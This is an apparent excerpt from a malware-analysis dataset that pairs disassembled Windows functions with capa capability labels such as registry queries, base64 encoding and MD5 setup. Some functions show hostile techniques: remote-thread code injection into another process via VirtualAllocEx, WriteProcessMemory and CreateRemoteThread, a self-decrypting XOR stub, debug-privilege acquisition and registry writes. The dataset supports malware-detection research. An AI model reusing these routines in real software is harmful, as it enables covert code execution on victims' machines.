joyce8/EMBER2024-capa huggingface dataset:
Function at 0x21764a10
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x21764af0
xor edx, edx
push ebp
push 0x21764ae9
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 8]
push eax
call fcn.217649b8
test eax, eax
je 0x21764ad2
mov eax, dword [ebp - 0x20]
cmp eax, 0xff
jle 0x21764a72
mov eax, dword [ebp + 0x10]
mov dword [eax], 0xff
jmp 0x21764a77
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
mov esi, dword [ebp + 0x10]
mov esi, dword [esi]
dec esi
test esi, esi
jl 0x21764ac2
inc esi
xor edi, edi
mov ebx, dword [ebp + 0x10]
add ebx, 0x11
mov dword [ebp - 0xc], 0x30
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push ebx
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegEnumValueA
test eax, eax
jne 0x21764abb
push ebx
call fcn.21764afc
mov byte [ebx - 0xd], al
push ebx
call fcn.217640ac
inc edi
add ebx, 0x3d
dec esi
jne 0x21764a8a
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
setg al
neg al
sbb eax, eax
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x21764af0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x21764e88
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
mov eax, dword [0x21768104]
cmp dword [eax], 0
jne 0x21764eae
push 0x21764f24
push 0
push 2
call sub.kernel32.dll_OpenFileMappingA
mov edx, dword [0x21768104]
mov dword [edx], eax
mov eax, dword [0x21768104]
cmp dword [eax], 0
je 0x21764f1c
mov eax, dword [0x217680f8]
cmp dword [eax], 0
jne 0x21764edf
push 0
push 0
push 0
push 6
mov eax, dword [0x21768104]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_MapViewOfFile
mov edx, dword [0x217680f8]
mov dword [edx], eax
mov eax, dword [0x217680f8]
cmp dword [eax], 0
je 0x21764f1c
cmp dword [ebp + 8], 0
je 0x21764ef4
or ebx, 0xffffffff
jmp 0x21764f1c
mov eax, dword [0x217680f8]
mov eax, dword [eax]
cmp byte [eax], 1
jne 0x21764f12
mov eax, dword [0x217680f8]
mov eax, dword [eax]
mov eax, dword [eax + 6]
cmp eax, dword [0x217680e4]
je 0x21764f16
xor eax, eax
jmp 0x21764f18
mov al, 1
neg al
sbb ebx, ebx
mov eax, ebx
pop ebx
pop ebp
ret 4
Function at 0x217657a0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 4], eax
cmp ebx, 5
jb 0x217658da
push 0
call sub.kernel32.dll_GetModuleHandleA_1
mov esi, eax
mov eax, dword [esi + 0x3c]
add eax, esi
add eax, 4
add eax, 0x14
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x10], eax
push ebx
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov dword [ebp - 0xc], eax
xor ecx, ecx
push ebp
push 0x217658d3
push dword fs:[ecx]
mov dword fs:[ecx], esp
xor ebx, ebx
test edi, edi
je 0x21765854
push 0x40
push 0x3000
mov eax, dword [ebp - 0x10]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov edx, eax
test edx, edx
setne al
neg al
sbb eax, eax
test eax, eax
je 0x21765832
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x10]
push eax
push esi
push edx
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
je 0x21765870
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x21765558
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
jmp 0x21765870
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x2176570c
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov ebx, eax
test ebx, ebx
seta al
neg al
sbb eax, eax
test eax, eax
jne 0x21765891
push 0
call sub.kernel32.dll_GetLastError
push eax
call fcn.21764b84
call fcn.21762a88
jmp 0x217658da
test ebx, ebx
jbe 0x217658a3
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
push ebx
call sub.kernel32.dll_CloseHandle
test edi, edi
jne 0x217658bc
test ebx, ebx
jbe 0x217658bc
push 0x8000
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_VirtualFreeEx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x217658da
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x21765e1c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x21768104]
cmp dword [eax], 0
jne 0x21765e48
push 0x21765ebc
push 0x8b
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov edx, dword [0x21768104]
mov dword [edx], eax
mov eax, dword [0x21768104]
cmp dword [eax], 0
jbe 0x21765e6f
push 0
push 0
push 0
push 6
mov eax, dword [0x21768104]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_MapViewOfFile
mov edx, dword [0x217680f8]
mov dword [edx], eax
mov eax, dword [0x217680f8]
cmp dword [eax], 0
jne 0x21765e99
mov eax, dword [0x21768104]
cmp dword [eax], 0
jbe 0x21765e90
mov eax, dword [0x21768104]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x21768104]
xor edx, edx
mov dword [eax], edx
mov eax, dword [0x21768104]
cmp dword [eax], 0
jbe 0x21765ead
mov eax, dword [0x217680f8]
cmp dword [eax], 0
jne 0x21765eb1
xor eax, eax
jmp 0x21765eb3
mov al, 1
neg al
sbb eax, eax
pop ebp
ret 4
Function at 0x217674bc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
call sub.kernel32.dll_GetCommandLineA_1
mov edi, eax
push 0
push edi
push 0x2176751c
call fcn.217645c8
mov esi, eax
test esi, esi
setg bl
test bl, bl
je 0x21767511
mov eax, esp
xor ecx, ecx
mov edx, 6
call fcn.217625a8
lea eax, [edi + esi + 3]
push eax
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrcpyA
push esp
call fcn.217647ac
cmp eax, 4
jbe 0x21767511
push 0xffffffffffffffff
push eax
call fcn.217657a0
mov eax, ebx
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x217675f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, 0x21767548
call fcn.21763330
push 0xffffffffffffffff
push 0x21767650
call fcn.21764030
xor eax, eax
push ebp
push 0x21767642
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.217674bc
test al, al
jne 0x21767628
call fcn.2176741c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x21767649
push 0
push 0x21767650
call fcn.21764030
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014cf
Capabilities:
Encode data using base64

Disassembly:
push 0x1c
mov eax, 0x506b39
call fcn.004c8434
mov edi, ecx
mov dword [ebp - 0x20], edi
xor ebx, ebx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x28], ebx
mov eax, edx
cmp dword [edx + 0x14], 0x10
jb 0x4014f5
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
mov ecx, dword [edx + 0x10]
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
mov dword [ebp - 4], ebx
mov edi, ebx
mov dword [ebp - 0x28], 1
test ecx, ecx
je 0x40166f
push 3
pop esi
jmp 0x401520
mov ecx, dword [ebp - 0x24]
mov al, byte [eax]
dec ecx
mov byte [ebp + edi - 0x14], al
inc edi
mov eax, dword [ebp - 0x1c]
mov dl, byte [ebp - 0x13]
inc eax
mov dword [ebp - 0x24], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp edi, esi
jne 0x4015b9
mov esi, dword [ebp - 0x20]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov edi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
mov al, ch
and al, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], al
cmp dword [0x548edc], 0x10
mov ecx, 0x548ec8
movzx eax, byte [ebp + edi - 0x18]
cmovae ecx, dword [0x548ec8]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.004021a8
inc edi
cmp edi, 4
jl 0x40157e
mov dl, byte [ebp - 0xd]
mov edi, ebx
mov cl, byte [ebp - 0xe]
mov eax, dword [ebp - 0x1c]
mov ch, byte [ebp - 0xf]
push 3
pop esi
cmp dword [ebp - 0x24], 0
jne 0x40151d
mov dword [ebp - 0x24], edi
test edi, edi
je 0x40166f
mov eax, edi
cmp edi, esi
jge 0x4015ee
cmp eax, esi
jae 0x401678
mov byte [ebp + eax - 0x14], bl
inc eax
cmp eax, esi
jl 0x4015d6
mov ch, byte [ebp - 0x12]
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [edi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x1c], eax
test eax, eax
jle 0x40165a
mov esi, dword [ebp - 0x20]
mov edi, eax
cmp dword [0x548edc], 0x10
mov ecx, 0x548ec8
movzx eax, byte [ebp + ebx - 0x18]
cmovae ecx, dword [0x548ec8]
movzx eax, byte [eax + ecx]
mov ecx, esi
push eax
call fcn.004021a8
inc ebx
cmp ebx, edi
jl 0x40162b
mov edi, dword [ebp - 0x24]
push 3
pop esi
cmp edi, esi
jge 0x40166f
sub esi, edi
mov ecx, dword [ebp - 0x20]
push 0x3d
call fcn.004021a8
sub esi, 1
jne 0x401660
mov eax, dword [ebp - 0x20]
call fcn.004c83fd
ret
call fcn.004c716d
int3
Function at 0x40313b
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x18], eax
ret

Function at 0x403ef4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
lea ecx, [ebp - 0x84]
mov eax, dword [ebx]
push ecx
mov ecx, ebx
call dword [eax + 4]
push str.btn_close
mov ecx, eax
call fcn.004164a3
lea ecx, [ebp - 0x84]
mov esi, eax
call fcn.004162c6
test esi, esi
jne 0x403f40
call fcn.0040934a
push 0xffffffffffffffff
mov ecx, edi
call fcn.00403fdd
jmp 0x403f8c
mov eax, dword [ebx]
lea ecx, [ebp - 0x84]
push ecx
mov ecx, ebx
call dword [eax + 4]
push str.btnbrow
mov ecx, eax
call fcn.004164a3
lea ecx, [ebp - 0x84]
mov esi, eax
call fcn.004162c6
test esi, esi
jne 0x403f8c
lea eax, [edi + 0x900]
cmp dword [eax + 0x14], 0x10
jb 0x403f79
mov eax, dword [eax]
push 1
xor ecx, ecx
push ecx
push ecx
push eax
push 0x52b114
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404434
Capabilities:
Check if file exists
Delete file

Disassembly:
push 0x4c4
mov eax, 0x50704b
call fcn.004c8468
lea eax, [ebp - 0x2a0]
add ecx, 0x8a0
push eax
call fcn.004033e8
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x288]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.0040a009
mov ecx, eax
call fcn.0040a35d
push esi
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.004048a2
pop ecx
lea ecx, [ebp - 0x288]
call fcn.004020a3
lea ecx, [ebp - 0x2a0]
mov byte [ebp - 4], 4
call fcn.004020a3
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40457a
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
push ebx
cmovae ecx, dword [ebp - 0x28]
xor edx, edx
push 2
call fcn.0041cd0f
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40457a
lea eax, [ebp - 0x4d0]
or edx, 0xffffffff
push eax
mov ecx, esi
call fcn.0041cdd6
pop ecx
test eax, eax
jne 0x404573
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.0040a009
mov ecx, eax
call fcn.0040a35d
mov byte [ebp - 4], 5
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
cmovae eax, dword [ebp - 0x40]
cmp dword [esi], 1
je 0x404520
mov dword [0x54d8a8], 0x80000
jmp 0x40452e
mov ecx, dword [esi + 4]
push eax
call fcn.0041c14c
mov dword [0x54d8a8], eax
mov edi, ebx
cmp dword [ebp - 0x4d0], edi
jle 0x404567
lea eax, [ebp - 0x270]
mov edx, edi
push eax
mov ecx, esi
call fcn.0041cdd6
push 2
lea eax, [ebp - 0x26c]
mov edx, edi
push ebx
push eax
mov ecx, esi
call fcn.0041ce48
add esp, 0x10
inc edi
cmp edi, dword [ebp - 0x4d0]
jl 0x404538
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 4
call fcn.004020a3
mov ecx, esi
call fcn.0041ce7b
cmp dword [ebp - 0x14], 8
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [ebp - 0x28]
call fcn.004020a3
xor eax, eax
inc eax
call fcn.004c8412
ret

Function at 0x406568
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x54847c]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
mov eax, dword [edi]
and dword [edi], 0
add eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push edx
lea eax, [ebp - 8]
push eax
push 0
push esi
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4065bf
cmp dword [ebp - 8], 1
je 0x4065b6
cmp dword [ebp - 8], 2
je 0x4065b6
push 0xd
pop eax
jmp 0x4065bf
mov eax, dword [ebp - 0xc]
shr eax, 1
mov dword [edi], eax
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004c7036
leave
ret 0xc
Function at 0x4091a3
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x54847c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [0x54d888], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
mov esi, ecx
call fcn.00461050
mov dword [0x54d884], eax
test eax, eax
jne 0x4091da
push 2
pop eax
jmp 0x40933b
cmp dword [esi + 0x14], 0x10
jb 0x4091e2
mov esi, dword [esi]
push esi
push 0x2712
push eax
call fcn.00464090
xor esi, esi
push esi
push 0x4e2c
push dword [0x54d884]
call fcn.00464090
push esi
push 0x40
push dword [0x54d884]
call fcn.00464090
push 1
push 0x3a
push dword [0x54d884]
call fcn.00464090
push 1
push 0x34
push dword [0x54d884]
call fcn.00464090
push 5
push 0x44
push dword [0x54d884]
call fcn.00464090
add esp, 0x48
push 1
push 0x63
push dword [0x54d884]
call fcn.00464090
push str.Mozilla_5.0__Windows_NT__x86__x64__AppleWebKit_100.0__KHTML__like_Gecko__Chrome_100.0_Safari_135.3_October_1.0
push 0x2722
push dword [0x54d884]
call fcn.00464090
push 0x1e
push 0x4e
push dword [0x54d884]
call fcn.00464090
mov eax, dword [0x54d884]
add esp, 0x24
cmp dword [edi + 0x14], 8
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 2
mov dword [ebp - 0x10], eax
jb 0x40928f
mov edi, dword [edi]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], edi
push ecx
push 0x2711
push eax
call fcn.00464090
push 0x409057
push 0x4e2b
push dword [0x54d884]
call fcn.00464090
mov ecx, dword [0x54d884]
mov eax, dword [ebp + 0xc]
push esi
push 0x2b
push ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
call fcn.00464090
push 0x4090b9
push 0x4efb
push dword [0x54d884]
call fcn.00464090
lea eax, [ebp - 0x20]
push eax
push 0x2749
push dword [0x54d884]
call fcn.00464090
push dword [0x54d884]
call fcn.004611f0
add esp, 0x40
mov esi, eax
push dword [0x54d884]
call fcn.00461010
and dword [0x54d884], 0
cmp dword [ebp - 0xc], 0
pop ecx
je 0x40932c
push dword [ebp - 0xc]
call fcn.004e5f82
pop ecx
cmp esi, 0x17
jne 0x409339
xor eax, eax
cmp dword [ebp - 8], eax
cmove esi, eax
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c7036
leave
ret
Function at 0x409464
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0xf4
mov eax, 0x507729
call fcn.004c8468
push 0x84
lea eax, [ebp - 0xb4]
mov dword [0x548ec4], 4
push 0
push eax
call fcn.004df090
add esp, 0xc
lea ecx, [ebp - 0xb4]
call fcn.004105de
and dword [ebp - 4], 0
mov eax, dword [0x548ec4]
sub eax, 1
je 0x409559
sub eax, 3
jne 0x40962f
mov ecx, dword [ebp - 0xb4]
call fcn.004106eb
mov eax, dword [0x54d8a4]
test eax, eax
push 0x52b870
cmove eax, dword [0x54d8a0]
push 0x96
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
je 0x40962f
mov ecx, dword [0x54d8a4]
test ecx, ecx
push edi
cmove ecx, dword [0x54d8a0]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x40954d
mov ecx, dword [0x54d8a4]
test ecx, ecx
push edi
cmove ecx, dword [0x54d8a0]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x40954d
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edx, edi
mov ecx, eax
call fcn.0041074b
push ecx
mov eax, esp
mov dword [eax], str.res.xml
call fcn.004093ea
mov ecx, eax
call fcn.0042acdd
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
jmp 0x40962f
push dword [ebp - 0xb4]
lea ecx, [ebp - 0x2c]
call fcn.00401e97
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 1
call fcn.0040937d
push 4
push 0x52b854
push ecx
mov ecx, eax
mov byte [ebp - 4], 2
call fcn.0040495a
push eax
lea ecx, [ebp - 0xe8]
call fcn.00401e64
push 0x52b850
lea ecx, [ebp - 0xe8]
mov byte [ebp - 4], 3
call fcn.00402146
push eax
lea ecx, [ebp - 0xd0]
call fcn.00401e64
mov byte [ebp - 4], 4
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 8
lea ecx, [ebp - 0x2c]
push dword [ebp - 0xc0]
cmovae eax, dword [ebp - 0xd0]
push eax
call fcn.00402447
lea ecx, [ebp - 0xd0]
call fcn.004020a3
lea ecx, [ebp - 0xe8]
call fcn.004020a3
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 1
call fcn.004020a3
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x2c]
call fcn.004106eb
push ecx
push ecx
mov eax, esp
mov dword [eax], str.res.xml
call fcn.004093ea
mov ecx, eax
call fcn.0042acdd
lea ecx, [ebp - 0x2c]
call fcn.004020a3
lea ecx, [ebp - 0xb4]
call fcn.004162c6
call fcn.004c8412
ret
Function at 0x409640
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push str.88B99221_7732_43DC_9087_5D203AD51804
xor edi, edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x409670
or edi, 0xffffffff
jmp 0x4096f3
push ecx
call fcn.0040a009
mov ecx, eax
call fcn.0040a052
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
mov eax, dword [ebp + 8]
mov dword [0x54d8a0], eax
call fcn.00409464
push 0x9e0
call fcn.004c7247
mov dword [esp], 0x9e0
mov esi, eax
push edi
push esi
call fcn.004df090
add esp, 0xc
mov ecx, esi
call fcn.0040a759
mov esi, eax
test esi, esi
je 0x4096fc
push ecx
push edi
push edi
push edi
push edi
push edi
push 0x96c80000
push 0x52b8d0
push edi
mov ecx, esi
call fcn.00416ea6
mov ecx, esi
call fcn.00416f93
push ecx
push edi
mov ecx, esi
call fcn.00416f48
call fcn.0041370f
call fcn.0040a009
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40a052
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x54847c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0x6f577349
push eax
push 0x52bb74
mov edi, ecx
mov dword [ebp - 0x10], 0x50343677
mov dword [ebp - 0xc], 0x65636f72
mov word [ebp - 8], 0x7373
mov byte [ebp - 6], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x40a0af
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov esi, 0x20a
lea eax, [ebp - 0x220]
push esi
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x220]
mov ebx, 0x104
push ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea eax, [ebp - 0x220]
push eax
lea ecx, [edi + 0x34]
call fcn.004020d1
push esi
lea eax, [ebp - 0x42c]
push 0
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x42c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea eax, [ebp - 0x42c]
push eax
lea ecx, [edi + 4]
call fcn.004020d1
mov ecx, edi
call fcn.0040a452
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
inc eax
pop ebx
call fcn.004c7036
leave
ret 4
Function at 0x40a15b
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x630
mov eax, dword [0x54847c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
push edi
mov edi, dword [ebp + 0x10]
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x62c]
mov dword [ebp - 0x62c], ebx
push eax
push 0x51bd04
push 1
push ebx
push 0x51bd84
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x40a2b5
mov ecx, dword [ebp - 0x62c]
test ecx, ecx
je 0x40a2b5
mov eax, dword [ecx]
push esi
push ecx
call dword [eax + 0x50]
push 0x20a
lea eax, [ebp - 0x210]
push ebx
push eax
call fcn.004df090
push esi
lea eax, [ebp - 0x210]
push 0x105
push eax
call fcn.004e6292
add esp, 0x18
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, dword [ebp - 0x62c]
lea edx, [ebp - 0x210]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x62c]
lea edx, [ebp - 0x630]
push edx
mov dword [ebp - 0x630], ebx
push 0x51bd34
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
js 0x40a2a9
cmp dword [ebp - 0x630], ebx
je 0x40a2a9
mov esi, 0x20a
lea eax, [ebp - 0x41c]
push esi
push ebx
push eax
call fcn.004df090
add esp, 0xc
lea eax, [ebp - 0x41c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push esi
lea eax, [ebp - 0x628]
push ebx
push eax
call fcn.004df090
push edi
lea eax, [ebp - 0x41c]
push eax
push 0x52bb88
push 0xffffffffffffffff
lea eax, [ebp - 0x628]
push 0x104
push eax
call fcn.0040145e
mov eax, dword [ebp - 0x630]
lea edx, [ebp - 0x628]
add esp, 0x24
mov ecx, dword [eax]
push ebx
push edx
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x630]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x62c]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004c7036
leave
ret 0xc

Function at 0x40a2cc
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x54847c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
lea edi, [ecx + 0x1c]
push eax
mov ecx, edi
call fcn.004020d1
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push eax
push ebx
push 0x2001f
push ebx
push ebx
push ebx
push str.SoftwareZuma
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40a34d
cmp dword [edi + 0x14], 8
push esi
mov esi, dword [ebp - 0xc]
jb 0x40a322
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 2]
push eax
push edi
push 1
push ebx
push str.DownPath
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test esi, esi
je 0x40a34c
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.004c7036
leave
ret 4